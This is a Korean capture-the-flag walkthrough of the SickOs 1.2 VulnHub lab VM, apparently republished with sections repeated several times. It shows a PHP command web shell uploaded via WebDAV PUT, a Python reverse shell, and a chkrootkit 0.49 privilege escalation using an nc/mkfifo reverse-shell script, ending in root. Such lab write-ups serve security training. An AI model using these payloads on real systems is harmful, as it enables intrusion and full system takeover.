vulnhub Walkthrough: SickOs: 1.2
vulnhub의 의도적으로 취약성이 만들어진 SickOs: 1.2의 Walkthrough입니다.
vulnhub 정보
이름
SickOs: 1.2
Date release
27 Apr 2016
작성자
D4rk
시리즈
SickOs
PortScan:
SSH
와 lighttpd
가 작동하는 것 같습니다.
서비스
VERSION
ssh
OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
ssh
lighttpd 1.4.28
root@kali:~# nmap -sS -sV 192.168.56.76
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 12:41 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.76
Host is up (0.00067s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
MAC Address: 08:00:27:22:6F:4B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Enumeration:
디렉토리를 확인한 결과 /test
디렉토리가 존재했습니다.
하지만 다른 유익한 정보는 아무것도 얻지 못했습니다. . . .
그래서 힌트를 보았는데 /test
디렉토리의 HTTP method
를 확인하라는 것입니다.
root@kali:~# dirb http://192.168.56.76
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun May 10 12:44:12 2020
URL_BASE: http://192.168.56.76/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.76/ ----
+ http://192.168.56.76/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.56.76/test/
---- Entering directory: http://192.168.56.76/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun May 10 12:44:17 2020
DOWNLOADED: 4612 - FOUND: 1
여러가지 사용할 수 있을 것 같은 메소드가 있네요.PUT
에서 리버스 셸을 업로드합니다.
root@kali:~# curl --head -X OPTIONS http://192.168.56.76/test
HTTP/1.1 301 Moved Permanently
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Location: http://192.168.56.76/test/
Content-Length: 0
Date: Sun, 10 May 2020 12:56:28 GMT
Server: lighttpd/1.4.28
Exploitation:
먼저 kali linux
와 함께 제공되는 /usr/share/webshells/php/php-reverse-shell.php
를 사용합니다.
이곳은 자신의 환경에 맞추기 위해 IP를 편집해야합니다.--upload-file
에서 빈 파일은 업로드할 수 있는 것 같습니다만, 내용이 존재하면 업로드할 수 없다? ? 보였다.
root@kali:~# curl http://192.168.56.76/test/ --upload-file php-reverse-shell.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
그래서, 다른 방법으로 행해 갑니다.os
명령을 실행할 수 있도록 파일을 업로드했습니다.
root@kali:~# curl -X PUT http://192.168.56.76/test/fuga.php -d '<?php system($_GET["cmd"]);?>'
python
사용할 수 있으므로 역방향 셸을 실행합니다.
좀처럼 연결되지 않습니다.
여기서 일단 포기하고 힌트를 먹었습니다.
분명히 iptables
에서 포트가 상당히 제한된 것 같습니다. . . . . .
따라서 포트443
에서 연결할 수 있었습니다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.65",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege Escalation:
crontab
확인 /etc/cron.daily
에서 정기적으로 문제가 chkrootkit
있습니다.
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ ls -la /etc/cron.daily
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 May 10 07:15 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
chktootkit 0.49
취약점이 있는 것 같습니다.
$ chkrootkit -V
chkrootkit version 0.49
root@kali:~# searchsploit chkrootkit 0.49
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
33899.txt
에 쓰여진 대로 시도해 봅니다.
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.65 443 >/tmp/f' >> update
$ chmod 777 update
netcat
에서 443
포트에서 연결을 기다리는 경우 root
권한으로 연결되었습니다.
root@kali:~# netcat -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.76] 39311
/bin/sh: 0: can not access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough: SickOs: 1.2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/a6d19ffa42807eef1b7e
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
SSH
와 lighttpd
가 작동하는 것 같습니다.서비스
VERSION
ssh
OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
ssh
lighttpd 1.4.28
root@kali:~# nmap -sS -sV 192.168.56.76
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 12:41 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.76
Host is up (0.00067s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
MAC Address: 08:00:27:22:6F:4B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Enumeration:
디렉토리를 확인한 결과 /test
디렉토리가 존재했습니다.
하지만 다른 유익한 정보는 아무것도 얻지 못했습니다. . . .
그래서 힌트를 보았는데 /test
디렉토리의 HTTP method
를 확인하라는 것입니다.
root@kali:~# dirb http://192.168.56.76
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun May 10 12:44:12 2020
URL_BASE: http://192.168.56.76/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.76/ ----
+ http://192.168.56.76/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.56.76/test/
---- Entering directory: http://192.168.56.76/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun May 10 12:44:17 2020
DOWNLOADED: 4612 - FOUND: 1
여러가지 사용할 수 있을 것 같은 메소드가 있네요.PUT
에서 리버스 셸을 업로드합니다.
root@kali:~# curl --head -X OPTIONS http://192.168.56.76/test
HTTP/1.1 301 Moved Permanently
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Location: http://192.168.56.76/test/
Content-Length: 0
Date: Sun, 10 May 2020 12:56:28 GMT
Server: lighttpd/1.4.28
Exploitation:
먼저 kali linux
와 함께 제공되는 /usr/share/webshells/php/php-reverse-shell.php
를 사용합니다.
이곳은 자신의 환경에 맞추기 위해 IP를 편집해야합니다.--upload-file
에서 빈 파일은 업로드할 수 있는 것 같습니다만, 내용이 존재하면 업로드할 수 없다? ? 보였다.
root@kali:~# curl http://192.168.56.76/test/ --upload-file php-reverse-shell.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
그래서, 다른 방법으로 행해 갑니다.os
명령을 실행할 수 있도록 파일을 업로드했습니다.
root@kali:~# curl -X PUT http://192.168.56.76/test/fuga.php -d '<?php system($_GET["cmd"]);?>'
python
사용할 수 있으므로 역방향 셸을 실행합니다.
좀처럼 연결되지 않습니다.
여기서 일단 포기하고 힌트를 먹었습니다.
분명히 iptables
에서 포트가 상당히 제한된 것 같습니다. . . . . .
따라서 포트443
에서 연결할 수 있었습니다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.65",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege Escalation:
crontab
확인 /etc/cron.daily
에서 정기적으로 문제가 chkrootkit
있습니다.
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ ls -la /etc/cron.daily
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 May 10 07:15 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
chktootkit 0.49
취약점이 있는 것 같습니다.
$ chkrootkit -V
chkrootkit version 0.49
root@kali:~# searchsploit chkrootkit 0.49
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
33899.txt
에 쓰여진 대로 시도해 봅니다.
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.65 443 >/tmp/f' >> update
$ chmod 777 update
netcat
에서 443
포트에서 연결을 기다리는 경우 root
권한으로 연결되었습니다.
root@kali:~# netcat -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.76] 39311
/bin/sh: 0: can not access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough: SickOs: 1.2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/a6d19ffa42807eef1b7e
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
root@kali:~# dirb http://192.168.56.76
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun May 10 12:44:12 2020
URL_BASE: http://192.168.56.76/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.76/ ----
+ http://192.168.56.76/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.56.76/test/
---- Entering directory: http://192.168.56.76/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun May 10 12:44:17 2020
DOWNLOADED: 4612 - FOUND: 1
root@kali:~# curl --head -X OPTIONS http://192.168.56.76/test
HTTP/1.1 301 Moved Permanently
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Location: http://192.168.56.76/test/
Content-Length: 0
Date: Sun, 10 May 2020 12:56:28 GMT
Server: lighttpd/1.4.28
먼저
kali linux
와 함께 제공되는 /usr/share/webshells/php/php-reverse-shell.php
를 사용합니다.이곳은 자신의 환경에 맞추기 위해 IP를 편집해야합니다.
--upload-file
에서 빈 파일은 업로드할 수 있는 것 같습니다만, 내용이 존재하면 업로드할 수 없다? ? 보였다.
root@kali:~# curl http://192.168.56.76/test/ --upload-file php-reverse-shell.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
그래서, 다른 방법으로 행해 갑니다.
os
명령을 실행할 수 있도록 파일을 업로드했습니다.
root@kali:~# curl -X PUT http://192.168.56.76/test/fuga.php -d '<?php system($_GET["cmd"]);?>'
python
사용할 수 있으므로 역방향 셸을 실행합니다.좀처럼 연결되지 않습니다.
여기서 일단 포기하고 힌트를 먹었습니다.
분명히
iptables
에서 포트가 상당히 제한된 것 같습니다. . . . . .따라서 포트
443
에서 연결할 수 있었습니다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.65",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege Escalation:
crontab
확인 /etc/cron.daily
에서 정기적으로 문제가 chkrootkit
있습니다.
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ ls -la /etc/cron.daily
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 May 10 07:15 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
chktootkit 0.49
취약점이 있는 것 같습니다.
$ chkrootkit -V
chkrootkit version 0.49
root@kali:~# searchsploit chkrootkit 0.49
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
33899.txt
에 쓰여진 대로 시도해 봅니다.
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.65 443 >/tmp/f' >> update
$ chmod 777 update
netcat
에서 443
포트에서 연결을 기다리는 경우 root
권한으로 연결되었습니다.
root@kali:~# netcat -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.76] 39311
/bin/sh: 0: can not access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough: SickOs: 1.2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/a6d19ffa42807eef1b7e
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ ls -la /etc/cron.daily
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 May 10 07:15 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
$ chkrootkit -V
chkrootkit version 0.49
root@kali:~# searchsploit chkrootkit 0.49
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.65 443 >/tmp/f' >> update
$ chmod 777 update
root@kali:~# netcat -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.76] 39311
/bin/sh: 0: can not access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough: SickOs: 1.2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Mr_e5908de784a1e38197/items/a6d19ffa42807eef1b7e텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)